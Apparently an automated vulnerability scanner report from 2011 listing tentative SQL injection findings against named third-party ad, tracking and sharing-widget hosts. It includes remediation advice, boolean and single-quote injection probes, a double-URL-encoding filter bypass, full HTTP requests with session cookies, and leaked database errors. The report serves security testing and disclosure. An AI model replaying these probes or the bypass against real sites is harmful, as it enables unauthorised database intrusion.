SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The _cph cookie appears to be vulnerable to SQL injection attacks. The payloads 17292965'%20or%201%3d1--%20 and 17292965'%20or%201%3d2--%20 were each submitted in the _cph cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /ad/g/1?nw=116450&asid=-1&asnw=&caid=&ssid=74316&ssnw=&csid=FSL_films&sfid=&cdid=&pvrn=y789t005dy&vprn=&vip=173.193.214.243&vdur=&flag=-unka&resp=smrx&crtp=ptiling&vclr=JS-pt-r3310;;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=728x90slot&envp=g_js&w=728&h=90&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=160x600slot&envp=g_js&w=160&h=600&lo=&flag=+cmpn HTTP/1.1 Host: 1c6e9.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.foxsearchlight.com/insider/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _uid="c007_5577003974315604268"; _auv="g158249~1.1299939850.5,14576.1299939850.5,^"; _vr="1299939837..333670~333678~343034~345187~359443~366038~,"; _cph="1299938380.273.1.1,1299937795.439.1.1,"17292965'%20or%201%3d1--%20; _sc="sg158249.1299937795.1299939858.28800.1250.156,"; _wr="g158249"; NSC_twmbewjq3.gxnsn.ofu=ffffffff09097e3745525d5f4f58455e445a4a423208
(function() { var parseResponse = function(resp) { if (window.console) console.log("RESPONSE %o", resp); try { if (!resp.ads || !resp.siteSection) return; var crs = {}; var ads = resp.ads[0]._.ad; for (var a=0; a<ads.length; a++) { var ad = ads[a]; for (var c=0; c<ad._.creatives[0]._.creative.length; c++) { var creative = ad._.creatives[0]._.creative[c]; for (var r=0; r<creative._.creativeRenditions[0]._.creativeRendition.length; r++) { var creativeRendition = creative._.creativeRenditions[0]._.creativeRendition[r]; for (var s=0; s<creativeRendition._.asset.length; s++) { var asset = creativeRendition._.asset[s]; var content = asset._.content[0]._; var contentType = asset.contentType; crs['_'+creativeRendition.creativeRenditionId] = content; } } } } if (window.console) console.log("RENDITIONS", crs); var cnt=0; for (var s=0; s<resp.siteSection[0]._.adSlots[0]._.adSlot.length; s++) {
The flag parameter appears to be vulnerable to SQL injection attacks. The payloads 13903592'%20or%201%3d1--%20 and 13903592'%20or%201%3d2--%20 were each submitted in the flag parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
(function() { var parseResponse = function(resp) { if (window.console) console.log("RESPONSE %o", resp); try { if (!resp.ads || !resp.siteSection) return; var crs = {}; var ads = resp.ads[0]._.ad; for (var a=0; a<ads.length; a++) { var ad = ads[a]; for (var c=0; c<ad._.creatives[0]._.creative.length; c++) { var creative = ad._.creatives[0]._.creative[c]; for (var r=0; r<creative._.creativeRenditions[0]._.creativeRendition.length; r++) { var creativeRendition = creative._.creativeRenditions[0]._.creativeRendition[r]; for (var s=0; s<creativeRendition._.asset.length; s++) { var asset = creativeRendition._.asset[s]; var content = asset._.content[0]._; var contentType = asset.contentType; crs['_'+creativeRendition.creativeRenditionId] = content; } } } } if (window.console) console.log("RENDITIONS", crs); var cnt=0 ...[SNIP]...
(function() { var parseResponse = function(resp) { if (window.console) console.log("RESPONSE %o", resp); try { if (!resp.ads || !resp.siteSection) return; var crs = {}; var ads = resp.ads[0]._.ad; for (var a=0; a<ads.length; a++) { var ad = ads[a]; for (var c=0; c<ad._.creatives[0]._.creative.length; c++) { var creative = ad._.creatives[0]._.creative[c]; for (var r=0; r<creative._.creativeRenditions[0]._.creativeRendition.length; r++) { var creativeRendition = creative._.creativeRenditions[0]._.creativeRendition[r]; for (var s=0; s<creativeRendition._.asset.length; s++) { var asset = creativeRendition._.asset[s]; var content = asset._.content[0]._; var contentType = asset.contentType; crs['_'+creativeRendition.creativeRenditionId] = content; } } } } if (window.console) console.log("RENDITIONS", crs); var cnt=0; for (var s=0; s<resp.siteSection[0]._.adSlots[0]._.adSlot.length; s++) { var slot = resp.siteSection[0]._.adSlots[0]._.adSlot[s]; for (var a=0; a<slot._.selectedAds[0]._.adReference.lengt ...[SNIP]...
The sfid parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the sfid parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /ad/g/1?nw=116450&asid=-1&asnw=&caid=&ssid=74316&ssnw=&csid=FSL_films&sfid='%20and%201%3d1--%20&cdid=&pvrn=y789t005dy&vprn=&vip=173.193.214.243&vdur=&flag=-unka&resp=smrx&crtp=ptiling&vclr=JS-pt-r3310;;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=728x90slot&envp=g_js&w=728&h=90&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=160x600slot&envp=g_js&w=160&h=600&lo=&flag=+cmpn HTTP/1.1 Host: 1c6e9.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.foxsearchlight.com/insider/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _uid="c007_5577003974315604268"; _auv="g158249~1.1299939850.5,14576.1299939850.5,^"; _vr="1299939837..333670~333678~343034~345187~359443~366038~,"; _cph="1299938380.273.1.1,1299937795.439.1.1,"; _sc="sg158249.1299937795.1299939858.28800.1250.156,"; _wr="g158249"; NSC_twmbewjq3.gxnsn.ofu=ffffffff09097e3745525d5f4f58455e445a4a423208
1.4. http://bestbuyon.com/listing/all [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://bestbuyon.com
Path:
/listing/all
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /listing/all?1'%20and%201%3d1--%20=1 HTTP/1.1 Host: bestbuyon.com Proxy-Connection: keep-alive Referer: http://bestbuyon.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SESS8c56b3975764a4c1c23c3ba51229ba19=4db3cf7b358a53406884c4c8c1251271; has_js=1; __utmz=201133757.1300542418.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-898677016-1300542417918; __utma=201133757.995275835.1300542418.1300542418.1300542418.1; __utmc=201133757; __utmb=201133757.3.8.1300542417929
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /Tracking/V2/BannerCreative/Impression/?siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302&bannerCreativeAdModuleId=21505 HTTP/1.1 Host: trk.vindicosuite.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=' User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39
Response 1
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Date: Sat, 19 Mar 2011 14:46:29 GMT Expires: Sat, 19 Mar 2011 14:46:30 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDSQDSRQRT=BCDOKCBCNDBPILMNGEFOIGMP; path=/ X-Powered-By: ASP.NET Content-Length: 792 Connection: keep-alive
<br>Error Description:Incorrect syntax near the keyword 'Default'.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1936, @bannerCreativeAdModuleId = 21505, @campaignId = 6386, @syndicationOutlet ...[SNIP]...
Request 2
GET /Tracking/V2/BannerCreative/Impression/?siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302&bannerCreativeAdModuleId=21505 HTTP/1.1 Host: trk.vindicosuite.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q='' User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39
Response 2
HTTP/1.1 302 Object moved Cache-Control: private Content-Type: text/html Date: Sat, 19 Mar 2011 14:46:32 GMT Expires: Sat, 19 Mar 2011 14:46:32 GMT Location: /Tracking/dot.gif Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDQACQTSST=GNHBFPACFEHHLBBCJKANAEML; path=/ X-Powered-By: ASP.NET Content-Length: 138 Connection: keep-alive
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="/Tracking/dot.gif">here</a>.</body>
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /Tracking/V2/BannerCreative/Impression/?siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302&bannerCreativeAdModuleId=21505 HTTP/1.1 Host: trk.vindicosuite.com Proxy-Connection: keep-alive Referer: http://web.vindicosuite.com/Feeds/Generator/2.0/GetAdDirector_BannerCreative.asp?bannerCreativeAdModuleId=21505&siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16' Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39
Response 1
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Date: Sat, 19 Mar 2011 14:46:23 GMT Expires: Sat, 19 Mar 2011 14:46:23 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDCQSTQTRT=KMCGOIBCMEGIMJAGEGAADBCD; path=/ X-Powered-By: ASP.NET Content-Length: 1227 Connection: keep-alive
The adRotationId parameter appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the adRotationId parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the adRotationId request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302%2527&bannerCreativeAdModuleId=21505 HTTP/1.1 Host: trk.vindicosuite.com Proxy-Connection: keep-alive Referer: http://web.vindicosuite.com/Feeds/Generator/2.0/GetAdDirector_BannerCreative.asp?bannerCreativeAdModuleId=21505&siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Date: Sat, 19 Mar 2011 14:45:19 GMT Expires: Sat, 19 Mar 2011 14:45:19 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDCQCTTRTQ=ENFOCABCPIBFDFIEDMGAFMCP; path=/ X-Powered-By: ASP.NET Content-Length: 1221 Connection: keep-alive
The bannerCreativeAdModuleId parameter appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the bannerCreativeAdModuleId parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the bannerCreativeAdModuleId request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302&bannerCreativeAdModuleId=21505%2527 HTTP/1.1 Host: trk.vindicosuite.com Proxy-Connection: keep-alive Referer: http://web.vindicosuite.com/Feeds/Generator/2.0/GetAdDirector_BannerCreative.asp?bannerCreativeAdModuleId=21505&siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Date: Sat, 19 Mar 2011 14:45:28 GMT Expires: Sat, 19 Mar 2011 14:45:28 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDSQDSRQRT=LIAOKCBCFKIOFENLHAINDNAC; path=/ X-Powered-By: ASP.NET Content-Length: 1221 Connection: keep-alive
The campaignId parameter appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the campaignId parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the campaignId request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1936&syndicationOutletId=48287&campaignId=6386%2527&adRotationId=15302&bannerCreativeAdModuleId=21505 HTTP/1.1 Host: trk.vindicosuite.com Proxy-Connection: keep-alive Referer: http://web.vindicosuite.com/Feeds/Generator/2.0/GetAdDirector_BannerCreative.asp?bannerCreativeAdModuleId=21505&siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Date: Sat, 19 Mar 2011 14:45:16 GMT Expires: Sat, 19 Mar 2011 14:45:16 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDACTSTQQQ=IOPLLDBCJELPBBDJOMLNNGIO; path=/ X-Powered-By: ASP.NET Content-Length: 1221 Connection: keep-alive
The siteId parameter appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the siteId parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the siteId request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1936%2527&syndicationOutletId=48287&campaignId=6386&adRotationId=15302&bannerCreativeAdModuleId=21505 HTTP/1.1 Host: trk.vindicosuite.com Proxy-Connection: keep-alive Referer: http://web.vindicosuite.com/Feeds/Generator/2.0/GetAdDirector_BannerCreative.asp?bannerCreativeAdModuleId=21505&siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Date: Sat, 19 Mar 2011 14:44:59 GMT Expires: Sat, 19 Mar 2011 14:44:59 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDCQSTQTRT=AKPFOIBCFKAOGEMHOBCIEBKM; path=/ X-Powered-By: ASP.NET Content-Length: 1221 Connection: keep-alive
The syndicationOutletId parameter appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the syndicationOutletId parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the syndicationOutletId request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1936&syndicationOutletId=48287%2527&campaignId=6386&adRotationId=15302&bannerCreativeAdModuleId=21505 HTTP/1.1 Host: trk.vindicosuite.com Proxy-Connection: keep-alive Referer: http://web.vindicosuite.com/Feeds/Generator/2.0/GetAdDirector_BannerCreative.asp?bannerCreativeAdModuleId=21505&siteId=1936&syndicationOutletId=48287&campaignId=6386&adRotationId=15302 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Date: Sat, 19 Mar 2011 14:45:10 GMT Expires: Sat, 19 Mar 2011 14:45:11 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDCSRDCRQC=LGINKEACKNDHFBAHIKMGKIHG; path=/ X-Powered-By: ASP.NET Content-Length: 1221 Connection: keep-alive
1.12. http://wd.sharethis.com/api/getApi.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://wd.sharethis.com
Path:
/api/getApi.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains&publisher=/1'null HTTP/1.1 Host: wd.sharethis.com Proxy-Connection: keep-alive Referer: http://edge.sharethis.com/share4x/index.cf465dc001621acac71bcb1a36056e40.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __stid=CszLBk1bK3ITLgrkJKQWAg==; __uset=yes
Response 1
HTTP/1.1 200 OK Date: Sat, 19 Mar 2011 13:50:05 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.5 Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 112
getPubGA_onSuccess({"status":"FAILURE","statusMessage":"Failed to load publisher domains","statusNumber":null});
Request 2
GET /api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains&publisher=/1''null HTTP/1.1 Host: wd.sharethis.com Proxy-Connection: keep-alive Referer: http://edge.sharethis.com/share4x/index.cf465dc001621acac71bcb1a36056e40.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __stid=CszLBk1bK3ITLgrkJKQWAg==; __uset=yes
Response 2
HTTP/1.1 200 OK Date: Sat, 19 Mar 2011 13:50:05 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.5 Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 62
The publisher parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the publisher parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains&publisher=null' HTTP/1.1 Host: wd.sharethis.com Proxy-Connection: keep-alive Referer: http://edge.sharethis.com/share4x/index.cf465dc001621acac71bcb1a36056e40.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __stid=CszLBk1bK3ITLgrkJKQWAg==; __uset=yes
Response 1
HTTP/1.1 200 OK Date: Sat, 19 Mar 2011 13:50:05 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.5 Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 112
getPubGA_onSuccess({"status":"FAILURE","statusMessage":"Failed to load publisher domains","statusNumber":null});
Request 2
GET /api/getApi.php?return=json&cb=getPubGA_onSuccess&service=getPublisherDomains&publisher=null'' HTTP/1.1 Host: wd.sharethis.com Proxy-Connection: keep-alive Referer: http://edge.sharethis.com/share4x/index.cf465dc001621acac71bcb1a36056e40.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __stid=CszLBk1bK3ITLgrkJKQWAg==; __uset=yes
Response 2
HTTP/1.1 200 OK Date: Sat, 19 Mar 2011 13:50:05 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.5 Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 62
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
